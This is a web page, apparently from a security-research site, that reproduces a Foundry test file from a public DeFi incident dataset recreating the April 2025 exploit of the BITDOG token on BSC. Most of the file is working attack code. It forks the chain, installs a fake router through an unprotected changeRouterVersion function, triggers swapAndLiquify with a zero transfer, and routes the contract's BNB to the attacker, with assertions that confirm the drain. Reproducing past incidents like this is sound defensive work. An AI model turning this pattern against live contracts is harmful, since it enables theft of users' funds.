Public reproduction file
src/test/2025-04/bitdog_exp.sol
Public reproduction file for dataset entry bitdog.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 2.10 BNB8// Attacker : 0x7b6a1f878bf29430788e743ee149ed2a3202f1369// Attack Contract : 0xdfdf4a3ec9ca12ccb46daabdc65b41ea852136ae10// Vulnerable Contract : 0x4bbb53252b0cee84e6824e85989ea2eddeec25f111// Attack Tx : https://bscscan.com/tx/0xc0dcad5927446b9fa560be74a76efa0805e67d4c4cd486a48e9e4248287d777e12//13// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0x4bbb53252b0cee84e6824e85989ea2eddeec25f1#code15//16// @Analysis17// Twitter Guy : https://t.me/defimon_alerts/93118//19// Attack summary: The attacker replaced BITDOG's router and pair with an attacker-controlled helper,20// then triggered BITDOG.swapAndLiquify with a zero-amount transfer. The fake router performed no swap,21// so BITDOG treated its pre-existing BNB balance as swap proceeds and sent that balance to fake22// addLiquidityETH, which forwarded it to the attacker.23// Root cause: changeRouterVersion is public; the intended onlyOwner restriction is only a comment.25address constant ATTACKER = 0x7B6A1F878bf29430788e743Ee149eD2a3202F136;26address constant ROOT_ATTACK_CONTRACT = 0xDfdf4A3EC9CA12ccB46DAabDc65b41ea852136Ae;27address constant TRACE_HELPER = 0xc4b9D3Ed47A92aDd82cFAaB96b2d1D57E6887F04;28address constant BITDOG_TOKEN = 0x4BBb53252B0ceE84e6824e85989Ea2EddEec25F1;29address constant ROUTER_BEFORE = 0xE0dce975e949Fd437BC5e1072734020dE780C0f9;31interface IBITDOG {32 function changeRouterVersion(33 uint256 efgnffw,34 address newRouterAddress35 ) external returns (address newPairAddress);36 function transfer(37 address recipient,38 uint256 amount39 ) external returns (bool);40 function balanceOf(41 address account42 ) external view returns (uint256);43 function minimumTokensBeforeSwapAmount() external view returns (uint256);44 function uniswapPair() external view returns (address);45 function uniswapV2Router() external view returns (address);46 function _addliquidiwafiwvq(47 address account48 ) external view returns (bool);49}51contract ContractTest is BaseTestWithBalanceLog {52 receive() external payable {}54 function setUp() public {55 vm.createSelectFork("bsc", 48_728_493);57 fundingToken = address(0);58 attacker = address(this);60 vm.label(ATTACKER, "Attacker EOA");61 vm.label(ROOT_ATTACK_CONTRACT, "Root Attack Contract");62 vm.label(TRACE_HELPER, "Trace Helper");63 vm.label(BITDOG_TOKEN, "BITDOG");64 vm.label(ROUTER_BEFORE, "Original BITDOG Router/Pair");65 }67 function testExploit() public balanceLog {68 IBITDOG bitdog = IBITDOG(BITDOG_TOKEN);70 uint256 victimBNBBefore = BITDOG_TOKEN.balance;71 assertEq(victimBNBBefore, 2_101_368_297_037_048_768);72 assertEq(bitdog.balanceOf(BITDOG_TOKEN), 728_860_419_400_885_283_502);73 assertEq(bitdog.minimumTokensBeforeSwapAmount(), 10_000_000_000_000_000_000);74 assertEq(bitdog.uniswapPair(), ROUTER_BEFORE);75 assertEq(bitdog.uniswapV2Router(), ROUTER_BEFORE);77 MaliciousBITDOGRouter fakeRouter = new MaliciousBITDOGRouter(BITDOG_TOKEN, address(this));78 assertFalse(bitdog._addliquidiwafiwvq(address(fakeRouter)));80 // step 1: install an attacker-controlled router/pair through the public changeRouterVersion path.81 fakeRouter.install();83 assertEq(bitdog.uniswapPair(), address(fakeRouter));84 assertEq(bitdog.uniswapV2Router(), address(fakeRouter));85 assertTrue(bitdog._addliquidiwafiwvq(address(fakeRouter)));87 // step 2: trigger swapAndLiquify. Amount zero is sufficient because the contract token balance88 // already exceeds minimumTokensBeforeSwapAmount at the fork block.89 bitdog.transfer(address(fakeRouter), 0);91 uint256 victimBNBAfter = BITDOG_TOKEN.balance;92 uint256 profit = address(this).balance;94 assertEq(victimBNBAfter, 0);95 assertEq(victimBNBBefore - victimBNBAfter, 2_101_368_297_037_048_768);96 assertGt(profit, 2.1 ether);97 }98}100contract MaliciousBITDOGRouter {101 address private immutable token;102 address private immutable profitReceiver;104 receive() external payable {}106 constructor(107 address _token,108 address _profitReceiver109 ) {110 token = _token;111 profitReceiver = _profitReceiver;112 }114 function install() external {115 IBITDOG(token).changeRouterVersion(0, address(this));116 }118 function factory() external view returns (address) {119 return address(this);120 }122 function WETH() external pure returns (address) {123 return address(0);124 }126 function getPair(127 address,128 address129 ) external view returns (address) {130 return address(this);131 }133 function createPair(134 address,135 address136 ) external view returns (address) {137 return address(this);138 }140 function swapExactTokensForETHSupportingFeeOnTransferTokens(141 uint256,142 uint256,143 address[] calldata,144 address,145 uint256146 ) external {}148 function addLiquidityETH(149 address,150 uint256 amountTokenDesired,151 uint256,152 uint256,153 address,154 uint256155 ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity) {156 (bool ok,) = profitReceiver.call{value: msg.value}("");157 require(ok, "profit transfer failed");158 return (amountTokenDesired, msg.value, 0);159 }160}Analysis
Dataset entry
Public Foundry test for “bitdog” (2025-04-27). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
15 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-04/AIRWA_exp.solSame month in the dataset · 105 lines
- src/test/2025-04/AmpKashi_exp.solSame month in the dataset · 267 lines
- src/test/2025-04/AventaRewardClaim_exp.solSame month in the dataset · 136 lines
- src/test/2025-04/BTNFT_exp.solSame month in the dataset · 77 lines
- src/test/2025-04/flylong_exp.solSame month in the dataset · 135 lines
- src/test/2025-04/ImpermaxV3_exp.solSame month in the dataset · 259 lines
- src/test/2025-04/Laundromat_exp.solSame month in the dataset · 101 lines
- src/test/2025-04/Lifeprotocol_exp.solSame month in the dataset · 71 lines
- src/test/2025-04/multitransferswap_exp.solSame month in the dataset · 190 lines
- src/test/2025-04/Roar_exp.solSame month in the dataset · 84 lines
- src/test/2025-04/tcdp_exp.solSame month in the dataset · 148 lines
- src/test/2025-04/Unverified_6077_exp.solSame month in the dataset · 99 lines
- src/test/2025-04/YBToken_exp.solSame month in the dataset · 132 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x7b6a1f878bf29430788e743ee149ed2a3202f136
- Attack Contract
0xdfdf4a3ec9ca12ccb46daabdc65b41ea852136ae
- Vulnerable Contract
0x4bbb53252b0cee84e6824e85989ea2eddeec25f1
- Attack Tx
0xc0dcad5927446b9fa560be74a76efa0805e67d4c4cd486a48e9e4248287d777e
File record
- Name
- bitdog
- Path
- src/test/2025-04/bitdog_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 0b04e5519e5d7de61a70374394289b2561238054
- Language
- Solidity
- Size
- 161 lines
- Date
- 2025-04-27
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-04/bitdog_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 0b04e5519e5d7de61a70374394289b2561238054, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.